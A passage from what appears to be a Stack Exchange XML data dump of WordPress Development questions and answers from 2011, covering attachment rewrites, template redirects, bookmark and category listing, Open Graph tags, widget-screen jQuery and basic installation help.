$wp_query_vars ) {&#xA;&#xA;    foreach( $wp_query_vars as $i =&amp;gt; $qv ) {&#xA;        if( in_array( $qv, array( 'attachment', 'attachment_id' ) ) )&#xA;            unset( $wp_query_vars[$i] );&#xA;    }&#xA;    return $wp_query_vars;&#xA;}&#xA;&#xA;add_filter( 'attachment_link', 'wpse_25144_attachment_link', 10000, 2 );&#xA;&#xA;function wpse_25144_attachment_link( $link, $id ) {&#xA;&#xA;    $link = wp_get_attachment_url( $id );&#xA;    return $link;&#xA;}&#xA;&#xA;add_filter( 'rewrite_rules_array', 'wpse_25144_rewrite_rules_array', 10000 );&#xA;&#xA;function wpse_25144_rewrite_rules_array( $rewriteRules ) {&#xA;&#xA;    foreach( $rewriteRules as $pattern =&amp;gt; $query_string ) {&#xA;        if( false === strpos( $pattern, 'attachment' ) &amp;amp;&amp;amp; false === strpos( $query_string, 'attachment' ) )&#xA;            continue;&#xA;        unset( $rewriteRules[$pattern] );&#xA;    }&#xA;&#xA;    return $rewriteRules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removes the attachment rewrites, updates the attachment links to point at the attachment file(instead of it's permalink), removes the attachment query vars and also removes the ability to link attachments to the now non-existant attachment permalink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open to critique. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-06T13:45:17.270" />
  <row Id="25153" PostTypeId="1" CreationDate="2011-08-06T12:17:45.000" Score="0" ViewCount="50" Body="&lt;p&gt;Let's say i have video, astist, photos and biography as custom pust types...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i display on a video page links and partialy content from biography and photos?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should i think at this and how can i do it?&lt;/p&gt;&#xA;" OwnerUserId="2215" LastActivityDate="2011-08-06T15:11:17.180" Title="How can i connect multiple wordpress custom post types?" Tags="&lt;posts&gt;" CommentCount="2" />
  <row Id="25154" PostTypeId="1" CreationDate="2011-08-06T15:59:47.873" Score="0" ViewCount="30" Body="&lt;p&gt;Is it possible to change the template loaded for a page, as it loads, without having to change the record in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it can be done with the &lt;code&gt;template_redirect&lt;/code&gt; action, and the will probably have something to do with the template-loader.php file in the WP core, but I can't figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be grand!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-08-06T16:37:29.333" Title="Change template dynamically" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;redirect&gt;&lt;page-template&gt;&lt;template-redirect&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25155" PostTypeId="1" AcceptedAnswerId="25313" CreationDate="2011-08-06T16:01:09.900" Score="0" ViewCount="53" Body="&lt;p&gt;I have been searching for some time on how to modify the Widgets Administration Screen, i'm attempting to add the sidebar id to the wrapper elements.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Current output:&lt;/strong&gt; (produced by wordpress)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;widgets-holder-wrap&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Desired output:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar-id-here&quot; class=&quot;widgets-holder-wrap&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In researching i've come across &lt;a href=&quot;http://wpcandy.com/reports/stephanie-leary-shares-custom-redesign-of-widgets-screen&quot; rel=&quot;nofollow&quot;&gt;Stephanie Leary's blog&lt;/a&gt; referencing the &lt;a href=&quot;http://core.trac.wordpress.org/ticket/18334&quot; rel=&quot;nofollow&quot;&gt;following ticket&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like do the same(add sidebar ids to their respective wrappers) but from the &lt;strong&gt;theme functions.php&lt;/strong&gt;, ie. without modifying &lt;strong&gt;wp-admin/widgets.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone know how it would be great!&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5910" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-16T23:05:14.223" LastActivityDate="2011-08-16T23:05:14.223" Title="Modify WordPress widgets Screen" Tags="&lt;widgets&gt;" AnswerCount="3" />
  <row Id="25156" PostTypeId="2" ParentId="25154" CreationDate="2011-08-06T16:27:42.290" Score="3" ViewCount="" Body="&lt;p&gt;here's a simple &lt;code&gt;template_redirect&lt;/code&gt; example that checks if a particular page is being requested and loads a template specifically for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_template_redirect() {&#xA;    if ( is_page('my-special-page') ) :&#xA;        include (TEMPLATEPATH . '/my-page-template.php');&#xA;        exit;&#xA;    endif;&#xA;}&#xA;add_action( 'template_redirect', 'my_template_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an example that checks for the existence of a GET var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_template_redirect() {&#xA;    if ( isset($_GET['somevar']) ) :&#xA;        include (TEMPLATEPATH . '/special.php');&#xA;        exit;&#xA;    endif;&#xA;}&#xA;add_action( 'template_redirect', 'my_template_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-08-06T16:37:29.333" LastActivityDate="2011-08-06T16:37:29.333" CommentCount="2" />
  <row Id="25157" PostTypeId="1" CreationDate="2011-08-06T16:33:31.943" Score="0" ViewCount="35" Body="&lt;p&gt;I am using a blog to keep track of citations I may want to use for a thesis. Each citation is a Post, authors are categories, which are parents to subcategories that are named for the titles of books or articles by that author. In the description of the book/article subcategories, I put the publishing information, e.g. “Penguin: London, 2007”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s assume that a particular author category is called “Mill, John Stuart” (for whom there are four citations), the book subcategory “On Liberty” (for which there are two citations), and the description “Bantam Classic: London, 1993”. Now, I would like to add a Page that shows all the sources that I have gathered, automatically outputting HTML code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;lit-author&quot;&amp;gt;&amp;lt;a href=&quot;../category/mill-john-stuart/&quot;&amp;gt;Mill, John Stuart&amp;lt;/a&amp;gt; (4)&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;lit-work&quot;&amp;gt;&amp;lt;a href=&quot;../category/mill-john-stuart/on-liberty/&quot;&amp;gt;&amp;lt;i&amp;gt;On Liberty&amp;lt;i&amp;gt;&amp;lt;/a&amp;gt;. Bantam Classic: London, 1993. (2)&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might just as well be done with &amp;lt;ul&amp;gt;s, I’m really only interested in being able to format the output using CSS and having in on a Page. (It’s pretty much just the contents of a Categories widget, but on a Page, plus the category description.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this, and where would I have to put the relevant code so that it would be displayed on a specific Page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(WP 3.2.1, Graphene 1.4.1)&lt;/p&gt;&#xA;" OwnerUserId="7690" LastEditorUserId="7690" LastEditorDisplayName="" LastEditDate="2011-08-06T19:04:16.543" LastActivityDate="2011-09-06T01:43:16.203" Title="How do I automatically put categories and their descriptions on a WP Page?" Tags="&lt;categories&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="25158" PostTypeId="1" AcceptedAnswerId="25166" CreationDate="2011-08-06T16:39:29.897" Score="0" ViewCount="34" Body="&lt;p&gt;I want to create 2 new sites. One will be a simple site with a few pages -- not really a blog, but I might add a blog to it at some point. The other site will be more like a blog -- with guest posts by a number of people, and it will probably have affiliate links -- possibly Amazon links. It might also have Google Ads, display ads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both of these sites, I might want to add things, take things away, change things,  etc -- I don't know exactly what I will want to do yet -- I want to have plenty of flexibility here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I would like a quick way to make the sites look good visually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Wordpress a good option for these sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have a dedicated server which is currently running a site in php (which I will keep as-is) and if I understand correctly, to use Wordpress, I'd add the domains for these 2 new sites to the server, download the Wordpress installation files from wordpress.org and then upload those files to my server.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to check if Wordpress is a good option for these 2 sites and for what I want to accomplish...?&lt;/p&gt;&#xA;" OwnerUserId="7692" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-07T00:57:19.090" LastActivityDate="2011-08-07T00:57:19.090" Title="Is Wordpress a good option for this...?" Tags="&lt;pre-sale&gt;" AnswerCount="2" />
  <row Id="25159" PostTypeId="1" AcceptedAnswerId="25164" CreationDate="2011-08-06T16:56:20.783" Score="0" ViewCount="23" Body="&lt;p&gt;Is there a PHP function that will return an array of all of my uploaded images?  Or, failing that, how bout just my uploaded files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end goal is to display a slideshow on my homepage: have it rotate through each image, one at a time.  Almost like an animated gif, in an infinite loop/cycle.&lt;/p&gt;&#xA;" OwnerUserId="2207" LastActivityDate="2011-08-06T17:23:37.873" Title="Is there a function to list all uploaded images? How can I add one?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;jquery&gt;&lt;uploads&gt;&lt;slideshow&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25160" PostTypeId="1" CreationDate="2011-08-06T16:56:40.617" Score="0" ViewCount="32" Body="&lt;p&gt;I have a question about code on wordpress:  I am trying to use code wp_list_bookmarks to list my featured communities that I have setup in &quot;links categories.&quot;  I want to be able to separate each link like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;San Diego | La Jolla | Rancho Santa Fe | Del Mar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using: &lt;code&gt;&amp;lt;?php wp_list_bookmarks('title_li=&amp;amp;category_before=&amp;amp;category_after=&amp;amp;category=21'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does work, but displays like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;San Diego&lt;/li&gt;&#xA;&lt;li&gt;La Jolla&lt;/li&gt;&#xA;&lt;li&gt;Rancho Santa Fe&lt;/li&gt;&#xA;&lt;li&gt;Del Mar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Again, I want this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;San Diego | La Jolla | Rancho Santa Fe | Del Mar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any code recommendations?&lt;/p&gt;&#xA;" OwnerUserId="7693" LastActivityDate="2011-09-05T23:43:16.193" Title="wp_list_bookmarks display" Tags="&lt;get-bookmarks&gt;" AnswerCount="1" />
  <row Id="25161" PostTypeId="1" AcceptedAnswerId="25165" CreationDate="2011-08-06T16:57:41.267" Score="0" ViewCount="30" Body="&lt;p&gt;From the past few weeks I am noticing that when I share my posts on facebook, the thumbnail is not coming, I am keeping a featured image for my posts, but when I share it on facebook it shares the link without thumbnail, I tried using several code which I found on google, but none of them works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using twenty eleven theme with latest WP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who can help me?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-08-06T17:26:44.690" Title="Facebook Share Thumbnail" Tags="&lt;posts&gt;&lt;facebook&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25162" PostTypeId="2" ParentId="25157" CreationDate="2011-08-06T16:58:52.000" Score="0" ViewCount="" Body="&lt;p&gt;Copy &lt;code&gt;page.php&lt;/code&gt; in your theme root and name it &lt;code&gt;page-list-of-categories.php&lt;/code&gt;.  Put the following at the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Page Category Display&#xA; */&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somewhere after &lt;code&gt;&amp;lt;?php the_title()?&amp;gt;&lt;/code&gt; place the following...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array('title_li' =&amp;gt; '');&#xA;?&amp;gt;&#xA;&amp;lt;ul id=&quot;myCategories&quot;&amp;gt;&amp;lt;?php wp_list_categories($args);?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then make a page and select &quot;Page Category Display&quot; from the dropdown under &quot;Template&quot; in the &quot;Page Attributes&quot; box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The css classes you have above won't be output, but you will be able to style them because it appears that your &lt;code&gt;lit-work&lt;/code&gt; categories are always children of author categories.  So you can refer to authors with &lt;code&gt;ul#myCategories li&lt;/code&gt; and works as &lt;code&gt;ul#myCategories li li&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other options -- passed in the &lt;code&gt;$args&lt;/code&gt; array -- for &lt;code&gt;wp_list_categories&lt;/code&gt; that you can look into.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-06T16:58:52.000" CommentCount="1" />
  <row Id="25163" PostTypeId="2" ParentId="25160" CreationDate="2011-08-06T17:17:35.073" Score="0" ViewCount="" Body="&lt;p&gt;Not extremely elegant, but should work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sep = &quot; | &quot;;&#xA;$args = array(&#xA;    'before'=&amp;gt;'',&#xA;    'after'=&amp;gt;$sep,&#xA;    'category_after'=&amp;gt;'',&#xA;    'category_before'=&amp;gt;'',&#xA;    'title_li'=&amp;gt;'',&#xA;    'echo'=&amp;gt;0     //return the string, don't echo&#xA;);&#xA;$str = wp_list_bookmarks($args);&#xA;//chop off the last separator...&#xA;$str = substr($str, 0, strlen($str) - strlen($sep));&#xA;echo $str;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT --&#xA;I added &lt;code&gt;before&lt;/code&gt; and &lt;code&gt;after&lt;/code&gt; to the &lt;code&gt;$args&lt;/code&gt; array -- these are actually what &lt;code&gt;_walk_bookmarks()&lt;/code&gt; uses before and after each link.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastEditorUserId="7568" LastEditorDisplayName="" LastEditDate="2011-08-06T17:22:59.403" LastActivityDate="2011-08-06T17:22:59.403" CommentCount="1" />
  <row Id="25164" PostTypeId="2" ParentId="25159" CreationDate="2011-08-06T17:18:11.983" Score="2" ViewCount="" Body="&lt;p&gt;uploaded files are stored as attachment post type in WordPress. Use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts()&lt;/a&gt; and query for all attachments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; null ); &#xA;$all_attachments = get_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT - you can also set &lt;code&gt;post_mime_type&lt;/code&gt; in get_posts to get all of type 'image/jpeg' for example.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-08-06T17:23:37.873" LastActivityDate="2011-08-06T17:23:37.873" />
  <row Id="25165" PostTypeId="2" ParentId="25161" CreationDate="2011-08-06T17:26:44.690" Score="2" ViewCount="" Body="&lt;p&gt;You need to add &lt;a href=&quot;http://developers.facebook.com/docs/opengraph/&quot; rel=&quot;nofollow&quot;&gt;Open Graph&lt;/a&gt; meta tags to your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.  See &lt;code&gt;og:image&lt;/code&gt; below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:title&quot; content=&quot;35% of LinkedIn Users Check The Site Daily&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;http://therealtimereport.com/2011/08/05/35-of-linkedin-users-check-the-site-daily/&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://therealtimereport.com/wordpress/wp-content/uploads/2011/08/LinkedIn-Users-Are-Highly-Engaged.png&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;The Realtime Report&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;Now the No.2 ranked social networking site - as of June 2011 - LinkedIn has a highly engaged, profession-focused audience, according to new research from Lab42.  Based on a survey of LinkedIn users in July 2011, the data reveals that 32% of users check the site several times a week, and more than a third - 35% - check the site daily.&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-06T17:26:44.690" CommentCount="1" />
  <row Id="25166" PostTypeId="2" ParentId="25158" CreationDate="2011-08-06T17:36:57.057" Score="1" ViewCount="" Body="&lt;p&gt;WordPress can do anything you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However your question is bit too generic to be sure about anything.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T17:36:57.057" />
  <row Id="25167" PostTypeId="2" ParentId="25155" CreationDate="2011-08-06T17:41:36.100" Score="1" ViewCount="" Body="&lt;p&gt;As I understand the whole point of that ticket is that this is not possible without modifying core files (which is a bad idea as usual).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can either wait for that proposal to get implemented in core (if ever) or look for alternative solutions. I think some JS could help there, but not my area of expertise.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T17:41:36.100" />
  <row Id="25168" PostTypeId="2" ParentId="25136" CreationDate="2011-08-06T17:47:00.090" Score="1" ViewCount="" Body="&lt;p&gt;Meta for taxononmies is not available out of the box, you need to create separate database table for &lt;a href=&quot;http://codex.wordpress.org/Metadata_API&quot; rel=&quot;nofollow&quot;&gt;Metadata API&lt;/a&gt; to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If size is the &lt;strong&gt;only&lt;/strong&gt; extra data you need and that is not going to change I'd try to use term description to hold it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you are better off with CPT or something custom and simple.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T17:47:00.090" CommentCount="3" />
  <row Id="25169" PostTypeId="2" ParentId="25126" CreationDate="2011-08-06T17:57:56.710" Score="1" ViewCount="" Body="&lt;p&gt;PHP support &lt;a href=&quot;http://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list&quot; rel=&quot;nofollow&quot;&gt;variable-lengths argument lists&lt;/a&gt;. Simply put you can pass as many additional arguments as you want to any function and PHP won't even blink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.2/wp-includes/wp-db.php#L841&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; of &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#Protect_Queries_Against_SQL_Injection_Attacks&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;&lt;/a&gt; method it simply fetches all arguments with &lt;a href=&quot;http://www.php.net/func_get_args&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;func_get_args()&lt;/code&gt;&lt;/a&gt; into variable and works with that. It doesn't care about function signature (older or current either) at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think this is completely unrelated to your password issue, I'd try poking that plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS 3.2 is not that much different from 3.1, why problem upgrading? Running outdated version is trouble in the long run.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T17:57:56.710" CommentCount="1" />
  <row Id="25170" PostTypeId="2" ParentId="25123" CreationDate="2011-08-06T18:05:12.430" Score="0" ViewCount="" Body="&lt;p&gt;Those setting are saved in options (see &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.2/wp-admin/options-media.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;options-media.php&lt;/code&gt;&lt;/a&gt; for option names) so it is not hard to change them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However those settings are not meant to be changed by theme and I would strongly recommend against messing with them in such way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put multiple files is how WP (unfortunately and so far) works with images, and it is up to user how to deal with them and not third party theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I am assuming you are making theme for public release/selling/whatever. If you are going to use it in some locked down environment where decisions are up to you - then feel free to nuke and use native sizes.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T18:05:12.430" />
  <row Id="25171" PostTypeId="2" ParentId="25155" CreationDate="2011-08-06T18:47:14.400" Score="2" ViewCount="" Body="&lt;p&gt;Just Like Rarst pointed out you can't do that without either hacking core files or using JavaScript, so here is how you can do that using jQuery with a bit of pain old JavaScript string manipulation :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_sidebar_holder_id(){ &#xA;    global $pagenow;&#xA;    if ($pagenow == 'widgets.php'){&#xA;        ?&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;&#xA;        jQuery(document).ready(function(){&#xA;            jQuery('div[class^=&quot;widgets-holder-wrap&quot;]').each(function()&#xA;            {       &#xA;                var SidebarNameH3 = jQuery(this).find('h3').html();&#xA;                var RemoveSpan = SidebarNameH3.indexOf(&quot;&amp;lt;span&amp;gt;&quot;);&#xA;                var SidebarName = SidebarNameH3.substring(0,RemoveSpan -1);&#xA;                SidebarName = SidebarName.replace(/ /gi,'-');&#xA;                var SidebarID = SidebarName +'-holder-wrap';&#xA;                jQuery(this).attr('id', SidebarID);&#xA;            });&#xA;        });&#xA;        &amp;lt;/script&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;add_action('admin_footer','add_sidebar_holder_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/M2F8x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-06T18:47:14.400" CommentCount="2" />
  <row Id="25172" PostTypeId="1" CreationDate="2011-08-06T18:57:21.103" Score="1" ViewCount="51" Body="&lt;p&gt;Basically I want to rewrite:&#xA;/edit/test-post&#xA;to an existing page with a parameter:&#xA;/edit?e=test-post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite#Examples&quot; rel=&quot;nofollow&quot;&gt;examples in the Codex&lt;/a&gt; I created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'rewrite_rules_array','my_insert_rewrite_rules' );&#xA;add_filter( 'query_vars','my_insert_query_vars' );&#xA;add_action( 'wp_loaded','my_flush_rules' );&#xA;&#xA;// flush_rules() if our rules are not yet included&#xA;function my_flush_rules(){&#xA;    $rules = get_option( 'rewrite_rules' );&#xA;&#xA;    if ( ! isset( $rules['(edit)/(\d*)$'] ) ) {&#xA;        global $wp_rewrite;&#xA;        $wp_rewrite-&amp;gt;flush_rules();&#xA;    }&#xA;}&#xA;&#xA;// Adding a new rule&#xA;function my_insert_rewrite_rules( $rules )&#xA;{&#xA;    $newrules = array();&#xA;    $newrules['(edit)/(\d*)$'] = 'edit?&amp;amp;e=$matches[2]';&#xA;    return $newrules + $rules;&#xA;}&#xA;&#xA;// Adding the id var so that WP recognizes it&#xA;function my_insert_query_vars( $vars )&#xA;{&#xA;    array_push($vars, 'e');&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I simply cannot get it working, what am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-07T00:43:19.763" Title="Can't get rewrite rules working" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;wp-redirect&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="25173" PostTypeId="1" CreationDate="2011-08-06T23:04:05.033" Score="0" ViewCount="16" Body="&lt;p&gt;I've downloaded WordPress and I want to ensure I'm uploading it to my server correctly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I see there's a .zip file and a .tar.gz file -- which should I use? It's an Apache server. This is the place my site will be: &lt;a href=&quot;http://plowtoplate.com/&quot; rel=&quot;nofollow&quot;&gt;http://plowtoplate.com/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I want the site to be at http not at www., but I do want either the site to also be visible at www. or for the www. to redirect to http -- where should I upload the WordPress files? Into public_html? or just into the place I get to when I login with ftp? (the 'root' I think that's called...?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I unzip wordpress-3.2.1.zip and upload those files, or do I upload the .zip to the server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the files are uploaded, is there anything else to do before it's ready to go?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I get the username and password to login to the admin panel so I can build the site? And what url do I go to to login?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Beginner questions, I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-06T23:19:54.447" Title="Basic installation questions" Tags="&lt;installation&gt;" AnswerCount="2" />
  <row Id="25174" PostTypeId="2" ParentId="25173" CreationDate="2011-08-06T23:13:50.420" Score="0" ViewCount="" Body="&lt;p&gt;Unzip the file on your computer and upload all the files to your public_html folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that's done, just surf in to your site plowtoplate.com and continue the setup.. you will get to choose password etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need login information to you database, that info you probably got from your hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will be able to surf into your site through www and http.. but http will be default.&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-08-06T23:13:50.420" CommentCount="3" />
  <row Id="25175" PostTypeId="2" ParentId="25173" CreationDate="2011-08-06T23:19:54.447" Score="3" ViewCount="" Body="&lt;p&gt;WordPress Codex has quite extensive &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress&quot; rel=&quot;nofollow&quot;&gt;installation instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I see there's a .zip file and a .tar.gz file -- which should I use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No difference. Archive format is merely for convenience, contents are the same.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want the site to be at http not at www., but I do want either the site to also be visible at www. or for the www. to redirect to http -- where should I upload the WordPress files? Into public_html?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on how your domain is set up, but usually both www and non-www version point to same thing. &lt;code&gt;public_html&lt;/code&gt; is probably right directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will only be able to pick www or non-www link when configuring WordPress. Redirecting other version will need a bit of &lt;code&gt;.htaccess&lt;/code&gt; tweak, google it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I unzip wordpress-3.2.1.zip and upload those files, or do I upload the .zip to the server?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Depends on how comfortable you are with server-side manipulation. Uploading unpacked files is easier, uploading archive and unpacking on server (using SSH or cpanel for example) is faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there is &lt;code&gt;wordpress&lt;/code&gt; directory in archive which you don't need, files whould be unpacked to the root of the site.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once the files are uploaded, is there anything else to do before it's ready to 